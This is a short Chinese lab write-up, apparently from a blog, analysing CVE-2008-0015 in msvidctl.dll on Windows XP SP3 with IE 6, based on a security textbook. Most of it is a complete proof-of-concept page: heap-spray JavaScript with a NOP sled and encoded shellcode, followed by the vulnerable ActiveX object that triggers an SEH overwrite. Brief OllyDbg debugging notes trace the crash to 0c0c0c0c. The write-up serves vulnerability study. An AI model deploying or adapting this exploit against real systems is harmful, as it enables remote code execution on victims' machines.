zoukankan      html  css  js  c++  java
  • CVE-2008-0015分析

    ----------本文思路完全来自《0day安全:软件漏洞分析技术》第二十八章----------

    实验环境
    操作系统:Windows XP sp3
    实验机器:VMware 15.5
    IE 版本:6.0.2900.5512
    msvidctl.dll版本:6.5.2600.5512

    POC

    <html>  
    <body>  
    <div id="DivID"></div>
    <script>  
    var nop="u9090u9090";
    var shellcode="u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6577u7473u6668u6961u8b6cu53c4u5050uff53ufc57uff53uf857";
    while(nop.length<=0x100000/2)
    {
       nop+=nop;
    }
    nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
    var slide = new Array();
    for(var i=0;i<200;i++)
    {
      slide[i] = nop + shellcode;
    }
    
    var myObject=document.createElement('object');
    DivID.appendChild(myObject);
    myObject.width='1';
    myObject.height='1';
    myObject.data='./logo.gif';
    myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
    </script>  
    </body>  
    </html>

    logo.gif

    ollydbg运行IE,打开POC文件

    发生异常,此时SEH链已被覆盖

    找到59F0D5A8的函数为59F0D3BA,在此处下断重新运行,单步发现问题在59F0D496

    在59F0D496处下断,发现第二次调用时触发异常,跟进去,发现在59F0D4D4处SEH被改变了

    继续跟,找到漏洞位置

    当执行59F0D74D后,logo.gif被写到了127C88处

    当发生异常后转入0c0c0c0c处执行

  • 相关阅读:
    python 遍历文件夹 文件
    Docker使用常见问题
    Docker基础技术:DeviceMapper
    更改Docker默认的images存储位置
    NAT方式,宿主机无法ping通虚拟机
    centos7使用问题总结
    VMWare虚拟机提供的桥接、nat和主机模式的区别
    css之'>'
    eclipse安装插件:
    腾讯后台开发面试总结,原创,吐血推荐!!
  • 原文地址:https://www.cnblogs.com/harmonica11/p/14223266.html
Copyright © 2011-2022 走看看